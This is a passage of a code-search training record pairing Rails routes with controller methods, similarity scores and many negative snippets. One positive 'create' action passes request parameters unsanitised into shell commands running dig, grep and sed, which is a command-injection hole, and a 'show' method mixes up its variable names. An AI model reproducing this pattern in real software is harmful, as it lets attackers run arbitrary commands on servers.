"0.7030876",
"0.70175326",
"0.70175326",
"0.7002698",
"0.6979351",
"0.6950402",
"0.69497216",
"0.6903135",
"0.68962485",
"0.68842024",
"0.6875199",
"0.68389666",
"0.6823006",
"0.6816968",
"0.6761699",
"0.67551595",
"0.6697524",
"0.66891575",
"0.66864884",
"0.66847956",
"0.6677078",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6667442",
"0.6644939",
"0.66244495",
"0.6600079",
"0.65983707",
"0.65802866",
"0.65802866",
"0.65802866",
"0.65802866",
"0.65802866",
"0.65781",
"0.6567617",
"0.65660954",
"0.65563345",
"0.65442204",
"0.6538707",
"0.6536722",
"0.65347743",
"0.65344846",
"0.65123403",
"0.6510763",
"0.6510301",
"0.6509223",
"0.65022945",
"0.65022945",
"0.649621",
"0.6490932",
"0.64877635",
"0.64810526",
"0.64781916",
"0.644909",
"0.64463705",
"0.64438856",
"0.6436119",
"0.643056",
"0.64272064",
"0.6422702",
"0.64169425",
"0.6413009",
"0.64041567",
"0.6402862",
"0.63990486",
"0.6389675",
"0.63740706",
"0.6373343",
"0.6371047",
"0.63695574",
"0.6366515",
"0.6358383"
] | 0.0 | -1 |
GET /questions/1 GET /questions/1.json | def show
@questions = Question.find(params[:id])
@answers = @question.answers.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end",
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n if @v1_question\n render json: @v1_question\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end",
"def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end",
"def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def index\n @my_questions = MyQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_questions }\n end\n end",
"def show\n render_json @question\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @test_question }\n end\n end",
"def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quest }\n end\n end",
"def show\n @questions = Question.find(params[:id])\n end",
"def index\n @api_v1_questions = Api::V1::Question.all\n end",
"def show\n @questions_option = QuestionsOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questions_option }\n end\n end",
"def index\n if get_event\n @v1_questions = @event.questions\n render json: @v1_questions\n else\n @v1_questions = V1::Question.all\n render json: @v1_questions\n end\n end",
"def show\n @critical_question = CriticalQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_question }\n end\n end",
"def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
"def show\n @questionset = Questionset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionset }\n end\n end",
"def show\n @question_category = QuestionCategory.with_questions(question_category_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_category }\n end\n end",
"def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end",
"def show\n @question_set = QuestionSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_set }\n end\n end",
"def show\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @survey_question }\n end\n end",
"def show\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @intake_question }\n end\n end",
"def index\n render_json(current_user.created_questions)\n end",
"def index\n @questions = Question.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.json { render :text => @questions.to_json }\n format.xml { render :xml => @questions.to_xml }\n end\n end",
"def show\n @category_question = CategoryQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category_question }\n end\n end",
"def show\n @question_type = QuestionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_type }\n end\n end",
"def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end",
"def show\n @base_question = BaseQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @base_question }\n end\n end",
"def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def get_random\n @question = Question.get_random\n\n unless @question\n render json: { error: \"random question can't be found\" }.to_json, status: 404\n end\n end",
"def get_questions\n items = get_items\n make_response(HttpStatus::OK, make_result_list(items))\nend",
"def index\n @questions = @subsection.questions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def index\n @question_categories = QuestionCategory.with_questions()\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_categories }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end",
"def index\n @users = Question.users\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def show\n @question_category = QuestionCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_category }\n end\n end",
"def index\n render json: @test_module.test_questions, status: :ok\n end",
"def show\n @cards_question = Cards::Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cards_question }\n end\n end",
"def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end",
"def show\n @poll_question = PollQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poll_question }\n end\n end",
"def show\r\n @intern_question = InternQuestion.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @intern_question }\r\n end\r\n end",
"def index\n if params[:aspect_id]\n @questions = Aspect.find(params[:aspect_id]).questions.all\n else\n @questions = Question.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @question_response = QuestionResponse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_response }\n end\n end",
"def index\n params.require(:course)\n @questions = Course.find(params[:course]).questions.select {|q| q.answered == false}\n\n render json: @questions\n end",
"def show\n @question_datum = QuestionDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_datum }\n end\n end",
"def new\n #@question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def show\n @quiz = Quiz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quiz }\n end\n end",
"def show\n @question = current_node.questions.find(params[:id])\n @question.viewed!(request.remote_ip)\n @answers = (@question.answers.page params[:page]).order_by(current_order)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end",
"def show\n @question_tag = QuestionTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_tag }\n end\n end",
"def show\n @question_template = QuestionTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_template }\n end\n end",
"def question\n Question.find_by_id(questions_id)\n end",
"def show\n @completed_quest = CompletedQuest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @completed_quest }\n end\n end",
"def show\n @survey_question_item = SurveyQuestionItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_question_item }\n end\n end",
"def show\n @question = Question.find(params[:id])\n\n respond_with @question\n end",
"def show\n # show the particular question\n\tif @question.present?\n\t\t# response to the JSON\n\t\trender :json=> {success: true, \"question\" => @question.as_json('question_show') }\n else\n render :json=> { success: false, message: \"Questions are not present\" },:status=> 203\n end\n\tend",
"def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq, include: 'subject' }\n end\n end",
"def new\n @questionset = Questionset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionset }\n end\n end",
"def index\n url = @httpIp + '/pet.com/api/question/getAllQuestions'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n # @questions = JSON.parse(response, object_class: OpenStruct)\n @questions = Kaminari.paginate_array(JSON.parse(response, object_class: OpenStruct)).page(params[:page]).per(7)\n end",
"def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @question }\n end\n end",
"def new\n\t\t@question = Question.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @question }\n\t\tend\n\tend",
"def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end",
"def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end",
"def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end",
"def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end",
"def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey }\n end\n end",
"def show\n @questions = Question.all\n end",
"def show\n @question_field = QuestionField.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_field }\n end\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end",
"def index\n @questions = Question.all\n end"
] | [
"0.7683254",
"0.7540626",
"0.737101",
"0.7303245",
"0.7251743",
"0.7231343",
"0.7230414",
"0.7230414",
"0.7230414",
"0.7194254",
"0.7174909",
"0.7174909",
"0.7168331",
"0.7120867",
"0.70868975",
"0.704648",
"0.69566995",
"0.693518",
"0.6902902",
"0.68723387",
"0.6862595",
"0.68389857",
"0.6827077",
"0.6825598",
"0.6804107",
"0.6803877",
"0.6791221",
"0.6791221",
"0.67862695",
"0.67784995",
"0.6771626",
"0.6722399",
"0.6708614",
"0.6693145",
"0.6690604",
"0.66810477",
"0.6680027",
"0.6675109",
"0.6650419",
"0.66475886",
"0.66452885",
"0.66170377",
"0.6611448",
"0.6611448",
"0.6611448",
"0.6611448",
"0.6611448",
"0.6604598",
"0.6603653",
"0.6598035",
"0.65950453",
"0.6585097",
"0.65798575",
"0.65756345",
"0.65677553",
"0.65621316",
"0.6558782",
"0.6549223",
"0.6543866",
"0.6541962",
"0.6541385",
"0.6535451",
"0.6528139",
"0.6524084",
"0.6517254",
"0.65099937",
"0.65008575",
"0.6497424",
"0.6496596",
"0.64894116",
"0.64458996",
"0.64424556",
"0.64318824",
"0.6423249",
"0.6416759",
"0.6410837",
"0.63850945",
"0.63831246",
"0.63793635",
"0.6375321",
"0.6363175",
"0.6363175",
"0.6363175",
"0.6363175",
"0.6363175",
"0.6357644",
"0.6353571",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124",
"0.6351124"
] | 0.0 | -1 |
POST /questions POST /questions.json | def create
@question = current_user.questions.new(question_params)
[email protected]
[email protected]
[email protected]
[email protected]
testing = %x[ dig #{namedns} #{type} | grep "SERVER:" ]
c,d=testing.split(": ")
e,f=d.split("#")
if e != "127.0.0.1"
if server==""
value2 = %x[ dig #{namedns} #{type} | grep "SERVER:" ]
c,d=value2.split(": ")
e,f=d.split("#")
query1=%x[dig #{namedns} #{type} | grep "QUERY:"]
q1,q2,q3,q4=query1.split(",")
q5,q6,q66=q1.split(": ")
q7,q8=q2.split(": ")
q9,q10=q3.split(": ")
q11,q12=q4.split(": ")
query2=query1=%x[dig #{namedns} #{type} | grep "version:"]
q21,q22=query2.split(",")
q23,q24,q25=q21.split(": ")
q26,q27,q28=q22.split(": ")
else
value2 = %x[ dig @#{server} #{namedns} #{type} | grep "SERVER:" ]
c,d=value2.split(": ")
e,f=d.split("#")
query1=%x[dig @#{server} #{namedns} #{type} | grep "QUERY:"]
q1,q2,q3,q4=query1.split(",")
q5,q6,q66=q1.split(": ")
q7,q8=q2.split(": ")
q9,q10=q3.split(": ")
q11,q12=q4.split(": ")
query2=query1=%x[dig @#{server} #{namedns} #{type} | grep "version:"]
q21,q22=query2.split(",")
q23,q24,q25=q21.split(": ")
q26,q27,q28=q22.split(": ")
end
end
server=e
if server.blank?
@question=current_user.questions.create(dnsname: namedns, recordtype: type, server: server, timeperiod: time, query: q66, answer: q8, authority: q10, additional: q12, version: q25, udp: q27)
else
@question=current_user.questions.create(dnsname: namedns, recordtype: type, server: server, timeperiod: time, query: q66, answer: q8, authority: q10, additional: q12, version: q25, udp: q27)
end
@average=Performance.where(question_id: @question.id).average(:responsetime)
@highest=Performance.where(question_id: @question.id).maximum(:responsetime)
@lowest=Performance.where(question_id: @question.id).minimum(:responsetime)
@count=Performance.where(question_id: @question.id).count(:responsetime)
@unavailable=Performance.where(responsetime: -1 )
@[email protected](question_id: @question.id).count(:responsetime)
@availability=0
Search.create(server: @question.dnsname)
total=%x[ dig @#{server} #{namedns} #{type} | wc -l ]
total1,total2=total.split("\n")
a = 1
while a != total1.to_i
value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]
if value2==";; ANSWER SECTION:\n"
a=a+1
value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]
while value2 !="\n"
#
b,c,d,e,f,g=value2.split(" ")
dnsanswer=b
ttl=c
typeAnswer=e
o=e
if g != nil
ip=f+" "+g
else
ip=f
end
answerType="answer"
#answerList=Answer.question.where(:typeAnswer "answer")
#answerList.each do |f|
#if f.ipadress != ip
#Change.create()
Answer.create(dnsname: dnsanswer,ttl: c,recordtype: e,ipaddress: ip,question_id: @question.id, typeAnswer: answerType)
a=a+1
value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]
end
end
if value2==";; AUTHORITY SECTION:\n"
a = a+1
value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]
while value2 != "\n"
b,c,d,e,f,g=value2.split(" ")
dnsanswer=b
ttl=c
typeAnswer=e
o=e
if g != nil
ip=f+" "+g
else
ip=f
end
answerType="authority"
Answer.create(dnsname: dnsanswer,ttl: c,recordtype: typeAnswer,ipaddress: ip,question_id: @question.id, typeAnswer: answerType)
a = a+1
value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]
end
end
if value2==";; ADDITIONAL SECTION:\n"
a=a+1
value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]
while value2 !="\n"
b,c,d,e,f,g=value2.split(" ")
dnsanswer=b
ttl=c
typeAnswer=e
o=e
if g != nil
ip=f+" "+g
else
ip=f
end
answerType="additional"
Answer.create(dnsname: dnsanswer,ttl: c,recordtype: typeAnswer,ipaddress: ip,question_id: @question.id, typeAnswer: answerType)
a=a+1
value2 =%x[ dig @#{server} #{namedns} #{type} | sed -n '#{a}p' ]
end
end
a =a+1
end
respond_to do |format|
if @question.save
@question.create_detail(:average => @average ,:maximum => @highest,:minimum => @lowest,:total_query => @count,:total_fail => @a ,:status =>@availability )
format.html { redirect_to @question, notice: 'DNS was successfully Add.' }
format.json { render :show, status: :created, location: @question }
else
format.html { render :new }
format.json { render json: @question.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @question = Question.new(question_params)\n\n if @question.save\n render json: @question\n else\n render status: 400, nothing: true\n end\n end",
"def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = SurveyQuestion.new(question_params)\n if @question.save\n render json: @question\n else\n render json: @question.errors.full_messages.join(\", \"), status: :unprocessable_entity\n end\n end",
"def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n question = @current_user.question.create!(question_params)\n render json: { question: question }\n end",
"def add_question\n form_param = params.require(:form).permit(:id)\n\n render json: Question.add_new_question(form_param)\n end",
"def create\n\t# Finding the current surgeon \n\tsurgeon = current_user\n\t# creating the question with current surgeon\n\tquestion = surgeon.questions.new(question_params)\n\tif question.save\n\t# response to the JSON\n\t\trender json: { success: true,message: \"Question Successfully Created.\", response: QuestionSerializer.new(question).as_json(root: false) },:status=>200\n else\n render :json=> { success: false, message: question.errors },:status=> 203\n end\n\tend",
"def create\n @test_question = TestQuestion.new(params[:test_question])\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, :notice => 'Test question was successfully created.' }\n format.json { render :json => @test_question, :status => :created, :location => @test_question }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to questions_path, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def manage_question(body)\n upload_questions(JSON.parse(body)['questions'])\n get_questions\nend",
"def create\n @question = Question.create!(question_params.merge({user_id: 1}))\n if question_params[:answers]\n question_params[:answers].with_indifferent_access.each do |answer|\n Answer.create!(name: answer[:name], question_id: @question.id)\n end\n end\n @question.prepare\n @question.broadcast\n render json: @question, status: :created\n end",
"def create\n @question = Question.new(question_params)\n respond_to do |format|\n if @question.save\n # format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n # format.html { render :new }\n format.json { render json: @question.errors, status: :bad_request }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @v1_question = V1::Question.new(v1_question_params)\n\n if @v1_question.save\n render json: @v1_question, status: :created\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: \"Question was successfully created.\" }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: NoticeMessages::SUCCESS_CREATE_QUESTION }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @add_question = AddQuestion.new(add_question_params)\n\n respond_to do |format|\n if @add_question.save\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @add_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_question = TestQuestion.new(test_question_params)\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, notice: 'Test question was successfully created.' }\n format.json { render :show, status: :created, location: @test_question }\n else\n format.html { render :new }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_question = TestQuestion.new(test_question_params)\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, notice: 'Test question was successfully created.' }\n format.json { render :show, status: :created, location: @test_question }\n else\n format.html { render :new }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def question_params\n params.require(:question).permit(:title, :body)\n #require returns question array\n #of everything being posted, work with the questions part, and allow these two things to be submitted\n end",
"def create\n @question = current_user.questions.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: params.inspect}#'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_question = Api::V1::Question.new(api_v1_question_params)\n\n respond_to do |format|\n if @api_v1_question.save\n format.html { redirect_to @api_v1_question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_question }\n else\n format.html { render :new }\n format.json { render json: @api_v1_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.new(question_params)\n respond_to do |format|\n if @question.save\n format.html { redirect_to new_question_url, notice: \"已经成功创建题目:#{@question.title}.\" }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @my_question = MyQuestion.new(params[:my_question])\n\n respond_to do |format|\n if @my_question.save\n format.html { redirect_to @my_question, notice: 'My question was successfully created.' }\n format.json { render json: @my_question, status: :created, location: @my_question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n result = Question.new.create_question(question_params)\n if result\n return render json: {message: 'Question was created succesfully', error: false}\n else\n return render json: {message: 'Error: Question was not created succesfully', error: true}\n end\n end",
"def add_question\n\t\t\tif(current_instructor.quizzes.exists?(:id => params[:quiz_id]))\n\t\t\t\tquiz = current_instructor.quizzes.find(params[:quiz_id])\n\t\t\t\tno = quiz.no_of_MCQ + quiz.no_of_rearrangeQ\t\n\t\t\t\tno.times do |n|\n\t\t\t\t\tquestion = Question.create((params[\"_json\"][n]).permit([:text, :mark, :right_answer, :choices => []]))\n\t\t\t\t\tquiz.questions << question\n\t\t\t\tend\n\t\t\t\trender json: { info: \"created\"}, status: 201\n\t\t\telse\n\t\t\t\trender json: { error:\"Quiz is not found\" }, status: 422\n\t\t\tend\n\t\tend",
